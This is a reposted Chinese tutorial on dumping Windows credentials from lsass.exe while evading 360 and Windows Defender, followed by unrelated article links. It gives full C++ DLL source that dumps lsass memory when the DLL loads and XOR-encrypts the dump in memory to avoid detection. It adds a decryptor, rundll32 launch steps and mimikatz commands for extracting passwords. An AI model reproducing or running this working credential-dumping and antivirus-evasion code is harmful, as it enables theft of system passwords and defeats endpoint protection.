Mimikatz免杀实战:绕过360核晶和defender

news2024/12/25 11:01:11

文章目录

  • 前言
  • 绕过360核晶
    • 实现思路
    • 完整代码
    • 运行测试
  • 绕过WD
    • 实现思路
      • MiniDumpWriteDump
      • 回调函数加密dump文件
    • 完整代码
    • 运行测试
  • 参考文章

前言

通常来说,即使我们成功实现了mimikatz的静态免杀,其抓取hash的行为仍可能会被防病毒软件检测到虽然你可以通过修改mimikatz的源码来实现行为上的免杀,但这需要花费大量的时间。我建议针对具体功能的代码来实现免杀,例如,mimikatz的dump hash功能主要依赖于Windows API的Minidump函数。

绕过360核晶

实现思路

1.设置权限

为了能够访问 lsass.exe 进程的内存,代码首先检查并提升程序的权限。这是通过 CheckPrivilege()EnableDebugPrivilege() 函数完成的

2.获取lsass进程的pid

代码使用 GetLsassPID() 函数获取 lsass.exe 进程的进程ID (PID)

3.创建内存转储文件

代码最主要的部分是 Dump() 函数,这个函数使用了 MiniDumpW 函数来创建 lsass.exe 进程的内存转储文件。

MiniDump函数是comsvcs.dll库中的一个函数,通常被用于生成进程的堆栈跟踪信息,在Windows中,MiniDump可以生成一个包含线程和句柄信息以及可选内存信息的dump文件,函数的使用需传入一个包含进程ID和转储文件路径的字符串参数

完整代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS


// comsvcs.dll 中 MiniDumpW 函数的类型定义
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD , DWORD , PWCHAR );


// 检查是否具有管理员权限
BOOL CheckPrivilege() 
{
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,
        &AdministratorsGroup);

    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

// 启用调试权限
BOOL EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

// 获取 lsass 进程的 PID
DWORD GetLsassPID() 
{
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) 
    {
        while (_wcsicmp(processName, L"lsass.exe") != 0) 
        {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}

// 检查指定文件是否存在
BOOL CheckFileExists(PWCHAR file) 
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    return TRUE;
}

int Dump() 
{
    WCHAR commandLine[MAX_PATH]; //命令行参数
    WCHAR DumpFile[] = L"C:\\Windows\\Temp\\test.log"; //转储文件的路径
    _MiniDumpW MiniDumpW; //MiniDumpW 函数的指针
    DWORD lsassPID = 0;  //存放lsass进程的PID

    // 检查是否具有管理员权限
    if (!CheckPrivilege()) 
	{
        return -1;
    }
    
    // 启用调试权限
    if (!EnableDebugPrivilege()) 
	{
        return -1;
    }

    // 获取lsass进程的PID
    lsassPID = GetLsassPID();

    // 获取 MiniDumpW 函数的地址
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    
    // 准备MiniDumpWh函数的参数,full是传递给MiniDumpW函数的参数之一,表示创建一个完整的内存转储
    swprintf(commandLine, 512, L"%d %s full", lsassPID, DumpFile);

    // 调用 MiniDumpW 函数创建内存转储文件
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, 
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

运行测试

将生成的dll文件配合rundll.exe执行:rundll32 DumpHash.dll dllmain(其实我更偏向使用白+黑来执行dll文件)

在此过程中360核晶并没有拦截,执行完毕后会在Windows/temp目录生成test.log(此文件就是lsass进程的dump文件)

在Windows系统中,rundll32.exe是一个重要的系统工具,用于加载和执行动态链接库(DLL)中的函数

image-20230716203413832

将test.log拖到本机使用mimikatz执行如下命令导出目标主机的密码:

  • sekurlsa::minidump test.log:mimikatz将只从指定的内存转储文件test.log中读取数据,而不再直接从LSASS进程中读取数据
  • sekurlsa::logonpasswords full:从LSASS进程中提取登录密码的,full参数表示将尽可能多地显示关于登录会话和密码的信息
image-20230716195338534

绕过WD

实现思路

上述这种方法无法绕过WindowsDefender,因为defender对生成的dump文件检验比较严格,只要发现你这个dump文件是lsass进程的,立马就会查杀,当然也有方法去绕过,只需对dump的文件进行加密。

当然对dump文件加密也是有前提的,需要在dump文件没有写入磁盘前对其里面的数据加密,这样才能绕过Defender,代码的实现重点关注两个函数,分别是MiniDumpWriteDump和它的回调函数

image-20230716205829732

MiniDumpWriteDump

MiniDumpWriteDump 是一个 Windows API 函数,此函数在Dbghelp.dll 库中定义,可以创建一个指定进程的内存转储文件(通常称为 “minidump” 文件)

以下是 MiniDumpWriteDump 函数的原型:

cppCopy codeBOOL MiniDumpWriteDump(
  HANDLE hProcess, //一个打开的句柄,指向需要创建内存转储文件的进程
  DWORD ProcessId, //需要创建内存转储文件的进程的进程ID
  HANDLE hFile, //一个打开的句柄,指向用于写入内存转储文件的文件,可置NULL
  MINIDUMP_TYPE DumpType, //一个 MINIDUMP_TYPE 枚举值,指定内存转储文件的类型
  PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,  //置NULL
  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, //置NULL
  PMINIDUMP_CALLBACK_INFORMATION CallbackParam  //一个指向 MINIDUMP_CALLBACK_INFORMATION 结构的指针,这个结构包含了一个回调函数和一个用户定义的参数。在内存转储过程中,这个回调函数会被多次调用,可以用于控制转储的过程或修改转储的内容。如果不需要使用回调函数,这个参数可以为 NULL
);

回调函数加密dump文件

MiniDumpWriteDump函数有一个回调函数, 可以通过callbackInput->CallbackType来判断何时回调执行我们自定义的代码段

首先在loStartCallback中将status成员设置为S_FALSE, 其目的是在开始写入数据时,不会将数据写入磁盘;然后在IoWriteAllCallback中将status成员设置为S_OK, 其目的是在每次写入数据时,将其写入到申请的堆内存中, 这样方便后续的xor加密操作

这种数据的加密是在内存中执行的,而不是在文件中执行,因此能够绕过Defender的检测

BOOL CALLBACK minidumpCallback(
    __in     PVOID callbackParam,
    __in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
    __inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
    LPVOID destination = 0, source = 0;
    DWORD bufferSize = 0;

    switch (callbackInput->CallbackType)
    {
    case IoStartCallback:
        // 在开始写入数据时,设置 Status 为 S_FALSE,这可能会取消默认的写入操作
        callbackOutput->Status = S_FALSE;
        break;

    case IoWriteAllCallback:
        // 在每次写入数据时,将数据保存到预先分配的内存区域

        // 设置 Status 为 S_OK,这可能会取消默认的写入操作
        callbackOutput->Status = S_OK;

        // source 指向一块刚刚从 lsass 进程读取的内存数据,这块数据将会被写入到内存转储文件中
        source = callbackInput->Io.Buffer;

        // destination 是我们想要保存这部分数据的位置,计算方法是 dumpBuffer 的开始地址加上这块数据在内存转储文件中的偏移量
        destination = (LPVOID)((DWORD_PTR)buffer + (DWORD_PTR)callbackInput->Io.Offset);

        // bufferSize 是刚刚读取的内存数据的大小
        bufferSize = callbackInput->Io.BufferBytes;

        // 将内存数据从 source 复制到 destination
        RtlCopyMemory(destination, source, bufferSize);

        break;

    case IoFinishCallback:
        // 在完成写入数据时,设置 Status 为 S_OK
        callbackOutput->Status = S_OK;
        break;

    default:
        return true;
    }
    return TRUE;
}

完整代码

以下是绕过WD的dumphash代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#include <fstream>
#define _CRT_SECURE_NO_WARNINGS

// MiniDumpWriteDump 函数的类型定义
typedef BOOL(WINAPI* _MiniDumpWriteDump)(
    HANDLE hProcess, DWORD ProcessId,
    HANDLE hFile, MINIDUMP_TYPE DumpType,
    PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
    PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
    PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
_MiniDumpWriteDump MMiniDumpWriteDump = (_MiniDumpWriteDump)GetProcAddress(
// 加载 Dbghelp.dll 并获取 MiniDumpWriteDump 函数的地址    
LoadLibraryA("Dbghelp.dll"), "MiniDumpWriteDump");

// 为内存转储分配一个 75MB 的内存区域
LPVOID buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
DWORD bytesWritten = 0;


// 检查是否具有管理员权限
BOOL CheckPrivilege() 
{
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,
        &AdministratorsGroup);

    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

// 启用调试权限
BOOL EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

// 获取 lsass 进程的 PID
DWORD GetLsassPID() 
{
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) 
    {
        while (_wcsicmp(processName, L"lsass.exe") != 0) 
        {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}


BOOL CALLBACK minidumpCallback(
    __in     PVOID callbackParam,
    __in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
    __inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{   
    // 定义目标和源的内存地址以及缓冲区大小
    LPVOID destination = 0, source = 0;
    DWORD bufferSize = 0;

    // 根据回调类型进行不同的处理
    switch (callbackInput->CallbackType)
    {
        
    case IoStartCallback:
        
        // 在内存转储开始时,将状态设置为 S_FALSE
        // 即取消默认的写入操作,数据将不会写入文件中
        callbackOutput->Status = S_FALSE;
        break;

        
    case IoWriteAllCallback:
        // 在每次写入数据时,将状态设置为S_OK
        // 即通过自定义的方式来处理数据
        callbackOutput->Status = S_OK;

        // 保存刚刚从 lsass 进程读取的内存数据的地址
        source = callbackInput->Io.Buffer;

        // 计算数据应存储的位置,该位置是预先分配的缓冲区的开始地址加上该数据在内存转储文件中的偏移量
        destination = (LPVOID)((DWORD_PTR)buffer + (DWORD_PTR)callbackInput->Io.Offset);

        // 保存刚刚读取的内存数据的大小
        bufferSize = callbackInput->Io.BufferBytes;
        bytesRead += bufferSize;

        // 将数据从源地址复制到目标地址
        RtlCopyMemory(destination, source, bufferSize);

        break;

    case IoFinishCallback:
        // 当内存转储完成时,将状态设置为 S_OK
        callbackOutput->Status = S_OK;
        break;

    default:
        return true;
    }
    return TRUE;
}

// Xor加密函数
char* Xorcrypt(char* content, DWORD length, char* secretKey)
{
    for (UINT i = 0; i < length; i++)
    {
        content[i] ^= secretKey[i % sizeof(secretKey)];
    }

    return content;
}


int Dump() 
{   

    DWORD lsassPID = 0;  //存放lsass进程的PID
    HANDLE lHandle = NULL;

    // 检查是否具有管理员权限
    if (!CheckPrivilege()) 
	{
        return -1;
    }
    
    // 启用调试权限
    if (!EnableDebugPrivilege()) 
	{
        return -1;
    }

    // 获取lsass进程的PID
    lsassPID = GetLsassPID();
    
    // 打开 lsass.exe 进程,并获取进程句柄
    lHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);

    //设置回调函数的参数,这里的回调函数是minidumpCallback
    MINIDUMP_CALLBACK_INFORMATION callbackInfo;
    ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
    callbackInfo.CallbackRoutine = &minidumpCallback;
    callbackInfo.CallbackParam = NULL;
    
    //调用MiniDumpWriteDump函数获取内存转储
    BOOL isD = MMiniDumpWriteDump(lHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
    if (isD)
    {   
        // 对存放在堆内存中的数据进行xor加密
        long int size = bytesRead;
        char* securitySth = new char[size];
        char* key = (char*)"thisisgood";
        memcpy(securitySth, buffer, bytesRead);
        securitySth = Xorcrypt(securitySth, bytesRead, key);

        // 创建内存存储文件
        HANDLE outFile = CreateFile(L"C:\\Windows\\Temp\\test.log", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // 将xor加密后的数据写入存储文件中
        if (WriteFile(outFile, securitySth, bytesRead, &bytesWritten, NULL))
        {   

            //printf("\n[+] to C:\\Windows\\Temp\\test.log\n");
        }

        CloseHandle(outFile);
    }

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, 
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

以下是使用xor解密dump文件的代码:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char fBuffer[1];  // 文件缓冲区
    int index = 0;  // 索引,用于按循环方式获取密钥
    char* key = (char*)"thisisgood";  // 密钥
    int keylen = sizeof(key);  // 获取密钥长度

    // 检查参数数量是否正确
    if (argc != 3) {
        printf("Usage: %s <source> <destination>\n", argv[0]);
        return 1;
    }

    // 以二进制读取模式打开源文件
    FILE* fSource = fopen(argv[1], "rb");
    if (fSource == NULL) {
        perror("Error opening source file");
        return 1;
    }

    // 以二进制写入模式打开目标文件
    FILE* fDest = fopen(argv[2], "wb");
    if (fDest == NULL) {
        perror("Error opening destination file");
        return 1;
    }

    // 循环读取源文件的每个字节,执行XOR操作并写入目标文件
    while (fread(fBuffer, 1, 1, fSource) == 1) {
        fBuffer[0] ^= key[index % keylen];  // 对读取的字节执行XOR操作
        fwrite(fBuffer, 1, 1, fDest);  // 将结果写入目标文件
        index++;  // 更新索引
    }

    // 关闭文件
    fclose(fSource);
    fclose(fDest);

    return 0;  // 
}

运行测试

运行方法和之前的差不多,只是多了个解密的步骤,需将dump后的文件进行xor解密后,然后再放到mimikatz读取密码

.\Xor解密文件.exe .\test.log 1.bin
image-20230717173133038

参考文章

  • https://tttang.com/archive/1810/#toc_silentprocessexitdump

  • https://xz.aliyun.com/t/11199#toc-5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/916752.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于VUE3+Layui从头搭建通用后台管理系统(前端篇)十:实体配置功能实现

一、本章内容 本章实现实体配置功能,包括识别实体属性、设置各属性的展示方式、相关类型、要和展示、编辑的内容等。 1. 详细课程地址: 待发布 2. 源码下载地址: 待发布 二、界面预览 三、开发视频 3.1 B站视频地址:

与ChatGPT可以经常互动但也不要暴露自己

​ 全球亿万人使用ChatGPT&#xff0c;但这并不意味着你的个人信息数据就可以安全无忧。要特别注意的&#xff0c;而且很多人已经忽视了的&#xff1a;用户最好不要过多地提供有关自己的私密信息&#xff0c;虽然多数情况下你并不知道自己是怎么把信息泄露的。 首先&#xff0…

绝美的古诗词AI作画,惊艳到我了!

前言 时光荏苒&#xff0c;科技的飞速发展催生出了许多令人惊叹的创新成果。近年来&#xff0c;人工智能技术在艺术领域的应用日益引人注目&#xff0c;其中最为引人瞩目的莫过于AI作画。这项技术将传统的古诗词与现代的人工智能相结合&#xff0c;创造出一幅幅令人叹为观止的…

Godot 4.0 文件系统特性的总结

文件的路径和特点(常规知识) 这一部分官方文档讲得比较详细,我这里简单提一下。 Godot会对文件进行组织,从而将它们管理起来,引擎的使用者要访问被管理的文件,需要遵循这样的规定: 使用Godot提供的函数和类访问文件 个人发现常用的有这些: ResourceLoader类、GD.Load()、God…

Jenkins的定时任务配置

jenkins配置定时任务位置(点击日程表的问好可查看语法配置) jenkins的定时任务的参数 # 定时任务参数(每个参数之间使用tab键或空格分隔)MINUTE HOUR DOM MONTH DOW 参数解释取值范围 MINUTE 分钟0-59HOUR小时0-23DOM一月的天数1-31MONTH月份1-12DOW 一周的天数0…

2023.8 - java - StringBuffer 和 StringBuilder 类

当对字符串进行修改的时候&#xff0c;需要使用 StringBuffer 和 StringBuilder 类。 注意:String 类是不可改变的&#xff0c;所以你一旦创建了 String 对象&#xff0c;那它的值就无法改变了 如果需要对字符串做很多修改&#xff0c;那么应该选择使用 StringBuffer & S…

【LeetCode-中等题】438. 找到字符串中所有字母异位词

题目 题解一&#xff1a;暴力排序 依次截取三为排序好的字符串拿出来比较 // 方法一&#xff0c;暴力排序List<Integer> res new ArrayList<Integer>();int n s.length();int k p.length();if (n < k) {return res;}char[] chars p.toCharArray();Arrays.s…

软件配置安装(破解)--- maven下载配置

检查环境是否已有 首先检查一下电脑里有无maven环境&#xff0c;有的话就不用安装了 查看path环境中没有maven&#xff0c;开始准备接下来的重头戏 下载maven 下载bin.zip版 解压mavenxxxbin.zip &#xff08;建议把解压的文件放在一个文件夹内&#xff0c;命名英文的env…

基于Redis的BitMap实现签到、连续签到统计(含源码)

微信公众号访问地址&#xff1a;基于Redis的BitMap实现签到、连续签到统计(含源码) 推荐文章&#xff1a; 1、springBoot对接kafka,批量、并发、异步获取消息,并动态、批量插入库表; 2、SpringBoot用线程池ThreadPoolTaskExecutor异步处理百万级数据; 3、基于Redis的Geo实现附…

数字 IC 设计职位经典笔/面试题(三)

共100道经典笔试、面试题目&#xff08;文末可全领&#xff09; 1. IC 设计中同步复位与异步复位的区别&#xff1f; 同步复位在时钟沿变化时&#xff0c;完成复位动作。异步复位不管时钟&#xff0c;只要复位信号满足条件&#xff0c;就完成复位动作。异步复位对复位信号要求…

coco数据集制作-多文件夹

背景&#xff1a;标准的coco格式数据集需要把所有图片放到一个文件夹里&#xff0c;而很多情况下&#xff0c;会有很多个文件夹&#xff0c;我们并不想把所有图片放到一起。 本文把多个文件夹下的yolov8(5)的txt标签转换至coco标签&#xff0c;转换标签代码如下&#xff1a; …

ipad可以用别的品牌的手写笔吗?开学平价电容笔推荐

开学需要买什么呢&#xff1f;随着科技的不断进步&#xff0c;各种类型的iPad电容笔应运而生。一支好的电容笔&#xff0c;不仅能大大提高我们的工作效率&#xff0c;而且能大大提高我们的生产力。平替的这款电容笔&#xff0c;不管是在技术上&#xff0c;还是在品质上&#xf…

u-view 的u-calendar 组件设置默认日期后,多次点击后,就不滚动到默认日期的位置

场景&#xff1a;uniapp开发微信小程序 vue2 uview版本&#xff1a;2.0.36 &#xff1b; u-calendar 组件设置默认日期后 我打开弹窗&#xff0c;再关闭弹窗&#xff0c; 重复两次 就不显示默认日期了 在源码中找到这个位置进行打印值&#xff0c;根据出bug前后的值进行…

Java smslib包开发

上一篇文章我详细介绍RXTXcomm的安装方法和简单代码,如果小伙伴涉及到需要使用手机短信模块完成短信收发需求的话,可以使用到smslib进行开发。 首先还是同样的,将整个smslib包源码导入项目,并且将它所需依赖一起进行导入 导入完成之后,我们就可以对smslib包进行二次开发了 下面…

大华智慧园区综合管理平台文件上传漏洞复现

该文章来自作者日常学习笔记&#xff0c;也有部分文章是经过作者授权和其他公众号白名单转载&#xff0c;未经授权&#xff0c;严禁转载&#xff0c;如需转载&#xff0c;联系开白。请勿利用文章内的相关技术从事非法测试&#xff0c;如因此产生的一切不良后果与文章作者无关。…

站点平台技术架构

系统架构部署思维导图 一、前期工作 1.系统保持一致性方案&#xff1a; GIT版本控制&#xff1a;通过总控端向租户端发送一个更新同步请求&#xff0c;租户端收到请求后执行GIT PULL 命令&#xff0c;执行完成命令后会进行获取当前版本指定的SQL文件&#xff0c;进行同步更新…

RTK定位

文章目录 前言什么是 RTKRTK的工作原理网络RTK vs 传统RTK结语 前言 说到定位&#xff0c;相信大家一定不会觉得陌生。如今我们所处的信息时代&#xff0c;人人都有手机。每天&#xff0c;我们都会用到与地图和导航有关的APP。 这些APP&#xff0c;就是基于定位技术的。说到定…

QT5.12.12通过ODBC连接到GBase 8s数据库(CentOS)

本示例使用的环境如下&#xff1a; 硬件平台&#xff1a;x86_64&#xff08;amd64&#xff09;操作系统&#xff1a;CentOS 7.8 2003数据库版本&#xff08;含CSDK&#xff09;&#xff1a;GBase 8s V8.8 3.0.0_1 为什么使用QT 5.12.10&#xff1f;该版本包含QODBC。 1&#…

达到国际领先水平!“基于实景三维的土地综合整治监管与成效评估技术应用”技术成果通过专家组评价

​本文转自中国地理产业协会 评价会现场 8月16日&#xff0c;受广西自然资源产品质量检验中心委托&#xff0c;广西人工智能学会在南宁市采用线上线下结合的形式&#xff0c;组织召开了“基于实景三维的土地综合整治监管与成效评估技术应用”技术成果评价会。由中国科学院院士、…

行为型(六) - 状态模式

一、概念 状态模式&#xff08;State Pattern&#xff09;&#xff1a;类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。 使用场景&#xff1a; 一个对象的行为由它的状态决定&#xff0c;而且它必须在运行时根据自身状态改变它的行为。 二、实现 这里控…